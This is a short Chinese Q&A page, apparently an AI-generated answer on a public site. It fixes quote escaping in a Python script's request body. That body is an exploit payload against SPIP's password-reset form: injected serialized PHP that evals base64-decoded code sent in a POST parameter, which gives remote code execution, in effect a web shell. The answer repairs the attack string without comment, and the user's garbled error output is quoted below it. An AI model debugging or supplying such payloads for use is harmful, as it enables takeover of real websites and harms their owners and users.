脚本报错的原因是在data变量中出现了引号嵌套的问题。在f-string中,如果要包含包含引号的字符串,可以使用转义字符\进行转义,如'或"。修改data变量的赋值语句如下:

data = f"page=spip_pass&formulaire_action=oubli&formulaire_action_args={formulaire_action_args_value_encoded}&oubli=s:19:\"<?php $st = $_POST['test']; $sa = str_replace('lwk02nm','',$st); eval(base64_decode($sa)); ?>\";&nobot="

请注意,修改后的代码可能仍然存在其他问题,这只是解决了报错问题。您可能需要进一步检查和调试代码。

脚本报错: data = fpage=spip_pass&formulaire_action=oubli&formulaire_action_args=formulaire_action_args_value_encoded&oubli=s19php $st = $_POSTtest; $sa = str_replacelwk02nm$st; evalbase64_decode$sa; ;&nob

原文地址: https://www.cveoy.top/t/topic/h2zM 著作权归作者所有。请勿转载和采集!

免费AI点我,无需注册和登录